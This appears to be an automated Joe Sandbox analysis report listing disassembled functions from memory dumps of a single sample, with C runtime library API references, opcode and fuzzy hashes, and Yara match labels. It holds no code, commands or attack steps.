Function 0234208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023420C6
__invoke_watson.LIBCMT ref: 02342120
_strlen.LIBCMT ref: 023420D4

Part of subcall function 02325BA8: __getptd_noexit.LIBCMT ref: 02325BA8

_strnlen.LIBCMT ref: 0234215F
__lock.LIBCMT ref: 02342170
__getenv_helper_nolock.LIBCMT ref: 0234217B

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: f4db5351779bc127a72a1f5058c4d98111b8a3d3c891ab86561906bcbd7ae7d1
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: DA31D272A00235ABDB316B689C00B6F77D99F05B68F114495FE04FB284DF74B545CBA1

Function 023C66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023C66DD

Part of subcall function 023259BF: __calloc_crt.LIBCMT ref: 023259E2
Part of subcall function 023259BF: __initptd.LIBCMT ref: 02325A04

__calloc_crt.LIBCMT ref: 023C6700
__get_sys_err_msg.LIBCMT ref: 023C671E
__invoke_watson.LIBCMT ref: 023C673B
__get_sys_err_msg.LIBCMT ref: 023C676D
__invoke_watson.LIBCMT ref: 023C678B

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: dd3b70f504533e06d8dcd945d8829adc4a78f8a8b230746b916ad08659f7f580
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: A61194716016247BEB357A259C42BBE739DDF80764F60087AFE08A6641EB22DD144FE4

Function 00407632 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00407654
__calloc_crt.LIBCMT ref: 0040766D

Strings

`rK, xrefs: 00407684
prK, xrefs: 004076A6
tK, xrefs: 00407699

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: __calloc_crt
String ID: `rK$prK$tK
API String ID: 3494438863-914410054
Opcode ID: a53f476ce68c4f6e8ba87d33f563846c4b778372163b28b551c714f5d4e085a4
Instruction ID: bb233b348c34246d0cbf245bf101bd6a1b60372416fb0b0937b4078276bddb15
Opcode Fuzzy Hash: a53f476ce68c4f6e8ba87d33f563846c4b778372163b28b551c714f5d4e085a4
Instruction Fuzzy Hash: B511EB31A1CA115BE7284E1DBC606663291FB95334F14463BF506D63D0E73DEC41965E

Function 0040AB24 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040AB30

Part of subcall function 00406FDF: __getptd_noexit.LIBCMT ref: 00406FE2
Part of subcall function 00406FDF: __amsg_exit.LIBCMT ref: 00406FEF

__amsg_exit.LIBCMT ref: 0040AB50
__lock.LIBCMT ref: 0040AB60
InterlockedDecrement.KERNEL32(?), ref: 0040AB7D
InterlockedIncrement.KERNEL32(02251688), ref: 0040ABA8

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 960002e93367ed455c847f650e3d304c27920ee915fbb8217e4523badc9e6dd4
Instruction ID: e2d82abee4ece7d33bff37336de4117026a5880f856249f2d10bd9bcc0bdae76
Opcode Fuzzy Hash: 960002e93367ed455c847f650e3d304c27920ee915fbb8217e4523badc9e6dd4
Instruction Fuzzy Hash: D9018E31D0572197D621AF29980575EB771AB44724F04413BE904737D1C73CB951CBEE

Function 00408CD5 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00408CF3

Part of subcall function 00407E3B: __mtinitlocknum.LIBCMT ref: 00407E51
Part of subcall function 00407E3B: __amsg_exit.LIBCMT ref: 00407E5D
Part of subcall function 00407E3B: EnterCriticalSection.KERNEL32(00405D0D,00405D0D,?,00405DE1,00000004,004B6330,0000000C,00407310,00403D1E,00405D1C,00000000,00000000,00000000,?,00406F91,00000001), ref: 00407E65

___sbh_find_block.LIBCMT ref: 00408CFE
___sbh_free_block.LIBCMT ref: 00408D0D
HeapFree.KERNEL32(00000000,00403D1E,004B6420,0000000C,00407E1C,00000000,004B6400,0000000C,00407E56,00403D1E,00405D0D,?,00405DE1,00000004,004B6330,0000000C), ref: 00408D3D
GetLastError.KERNEL32(?,00405DE1,00000004,004B6330,0000000C,00407310,00403D1E,00405D1C,00000000,00000000,00000000,?,00406F91,00000001,00000214), ref: 00408D4E

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 509b53ce30c3821a848466386038d1cc367d27d9622d83bbb5e3bf12d27fb66d
Instruction ID: 71cdb00c70e999167e6bbae98b0eee57b9d4e0ef2631686e32a8c8f6518ce44b
Opcode Fuzzy Hash: 509b53ce30c3821a848466386038d1cc367d27d9622d83bbb5e3bf12d27fb66d
Instruction Fuzzy Hash: 8E018F31D05301AADF207B619D0AB5F3BA49F20768F20463FF584B61D1DE3C98409AAD

Function 02312670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023126DB
_memset.LIBCMT ref: 02312A30
_memset.LIBCMT ref: 02312AC0

Strings

D, xrefs: 02312AC8

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 33d2e3f439af76a997b9c09651a80dec522b3d043db98ee5b7439ff2f070a6e5
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: A6E14D71D00229ABDF28DFA0DD49FEFB7B9BF04304F144169E909A6190EB746A45CF54

Function 0230D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0230D8EA

Strings

, xrefs: 0230DADB
(, xrefs: 0230DAE9
$, xrefs: 0230DAE2

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 34531db56305279564ecf6bf0cf418cbc52652023c1f79d91c8c76e0c6a12ab3
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: C6918971D0021CAAEF21CBA0C8A9BEEBBF5AF05308F244169D505772C1DBB65A48CF65

Function 02325CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02325CF4

Strings

U, xrefs: 02325CFD

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: e99bf9344e0685675268f18a5507e0ee23a19a429dba91c98e1cdd6c60b1bd4e
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: A4212B72214328BAEB14DAA49C45BBE73DDDB45761F904165F908CA190FB70EB488AA4

Function 00403D09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

__woutput_l.LIBCMT ref: 00403D5F

Part of subcall function 00405D17: __getptd_noexit.LIBCMT ref: 00405D17

Part of subcall function 00405CAF: __decode_pointer.LIBCMT ref: 00405CBA

Strings

B, xrefs: 00403D51

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: __decode_pointer__getptd_noexit__woutput_l
String ID: B
API String ID: 4230402194-1255198513
Opcode ID: 4f65ce31d03ebedde180b8cfbea055cbba915299d0da1061f633999c3ec50f30
Instruction ID: a8155718de96c3cc68cdad2fc59d5f5e0f65a947ddcda5b9d2e30d9fe30547f9
Opcode Fuzzy Hash: 4f65ce31d03ebedde180b8cfbea055cbba915299d0da1061f633999c3ec50f30
Instruction Fuzzy Hash: B5114FB1904219AFDF009F95D8418EEBBBCFF08329F14012BF915B62D2D63D99048BB9

Function 0231A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0231A858
_memset.LIBCMT ref: 0231A869
_memset.LIBCMT ref: 0231A87A

Strings

p2Q, xrefs: 0231A882

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: d4f79d5fa830682842a3597644189ab7ec2b435b6bece06b24aad060845a3943
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 94F0E578694790A5F7217B50BC267857E927B31B08F504045D1142E2E1D3FD234C6799

Function 0234FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0234FBF1

Part of subcall function 0233169C: std::exception::_Copy_str.LIBCMT ref: 023316B5

__CxxThrowException@8.LIBCMT ref: 0234FC06

Strings

TeM, xrefs: 0234FBFB, 0234FBE7
TeM, xrefs: 0234FBFE

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: a87e8dbffd160260ab6d14e261a4983ff313b72874c6c17503ebf9f2f04752e8
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 56D06775D0020CBBCB01EFA5D459CDDBBB9AA04344B008466AD5897241EA74A3498F98

Function 0230D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0232197D: __wfsopen.LIBCMT ref: 02321988

_fgetws.LIBCMT ref: 0230D15C

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: c300f2ef605026b0ec50db471fc133fe276bc02746b73d11a62c09a4500d7376
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 2391B172D10319ABCF20DFA4CD947AEB7F9EF04314F140569E815A3280E776EA18CBA5

Function 0230D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0230D77E
_malloc.LIBCMT ref: 0230D7B2
_malloc.LIBCMT ref: 0230D7C1
_fprintf.LIBCMT ref: 0230D815

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c19c6b3862bf4101e63c3f5273690e69ca6095fdaad35a206ace5c680db96f92
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 47A13DB1C0025CABEF21EFE4CC55BDEBBB6AF14304F140128D90576291E7B65A48CFA6

Function 02322AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02322B2E
__read_nolock.LIBCMT ref: 02322BFE
__filbuf.LIBCMT ref: 02322C21
_memset.LIBCMT ref: 02322C65

Part of subcall function 02325BA8: __getptd_noexit.LIBCMT ref: 02325BA8

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: e075e2acd83d4c60617ffa330687c7bbcd85379060195b1348c970a98525d97f
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: A5519270A003359BDB298F798C846AFB7B6AF40324F148729FC75966D0D7719A59CB40

Function 0040B7FB Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040B82F
__isleadbyte_l.LIBCMT ref: 0040B863
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,?,00000000,00000000,?,?,?,?,00000002,00000000), ref: 0040B894
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,?,?,?,00000002,00000000), ref: 0040B902

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 08495f27e91185e0204e515fc6ee03aa46edecdaa9b6e495c0ec111852b097e3
Instruction ID: 74b90c3f10fb345957b8bf1234c4e280a93519fa55f671cb99a1186be43ed7c3
Opcode Fuzzy Hash: 08495f27e91185e0204e515fc6ee03aa46edecdaa9b6e495c0ec111852b097e3
Instruction Fuzzy Hash: E3318D32A10246EFDB11EF64C884ABA3BA9EF01311F14C57AE465AB2E1D3349941DBDD

Function 02341359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0234137D

Part of subcall function 02341A9D: __fltout2.LIBCMT ref: 02341AC6

__cftog_l.LIBCMT ref: 023413A3
__cftoe_l.LIBCMT ref: 023413D5

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 33921bfde1819ba1204c49dbf77b197c9122e064bea4de7fe88d60192b016846
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: AB014E3244054EBBCF225E84DD01CED3FA7BB19358F488495FA9D58930DB36E5B1AB81

Function 023C7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 023C7A4B

Part of subcall function 023C8140: ___BuildCatchObjectHelper.LIBCMT ref: 023C8172
Part of subcall function 023C8140: ___AdjustPointer.LIBCMT ref: 023C8189

_UnwindNestedFrames.LIBCMT ref: 023C7A62
___FrameUnwindToState.LIBCMT ref: 023C7A74
CallCatchBlock.LIBCMT ref: 023C7A98

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 3e536edb1a9875b9e50d3898aaceeec8821fe5d45414ba64164506fa25a17f18
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: A201E936100109BBCF22AF55CC01EEA7BBAFF88754F258018FE1865221D732E961DFA0

Function 0040B290 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B29C

Part of subcall function 00406FDF: __getptd_noexit.LIBCMT ref: 00406FE2
Part of subcall function 00406FDF: __amsg_exit.LIBCMT ref: 00406FEF

__getptd.LIBCMT ref: 0040B2B3
__amsg_exit.LIBCMT ref: 0040B2C1
__lock.LIBCMT ref: 0040B2D1

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 11339a5605d51ec19caff122e079b8edc5bf02af781c607402570c535cf70e0b
Instruction ID: 408d8b467449fa090d09db9066a87645fad45cc1413b75b09ed190233bc5e24b
Opcode Fuzzy Hash: 11339a5605d51ec19caff122e079b8edc5bf02af781c607402570c535cf70e0b
Instruction Fuzzy Hash: D1F06D319046149BD621BB66940AB4D72A1AF40728F1141BFE455772D2CB3CA9018AAE

Function 00403B16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 00403B6C

Part of subcall function 00405D17: __getptd_noexit.LIBCMT ref: 00405D17

Part of subcall function 00405CAF: __decode_pointer.LIBCMT ref: 00405CBA

Strings

B, xrefs: 00403B65

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: __decode_pointer__getptd_noexit__output_l
String ID: B
API String ID: 1034028048-1255198513
Opcode ID: 824f0e232564a5177549fd3623f33b70e173c5bea27df4f2a1ee46cbded6b857
Instruction ID: a33fe74913af009163fdcf16576e27fdc0769048d10c9886eebe141f7644878e
Opcode Fuzzy Hash: 824f0e232564a5177549fd3623f33b70e173c5bea27df4f2a1ee46cbded6b857
Instruction Fuzzy Hash: 2B0175B59042199FDF10AF95C8418AEBFBCFF04368F14417AF914B62C2D6399A00CB79

Function 00407744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00407755

Part of subcall function 00407E3B: __mtinitlocknum.LIBCMT ref: 00407E51
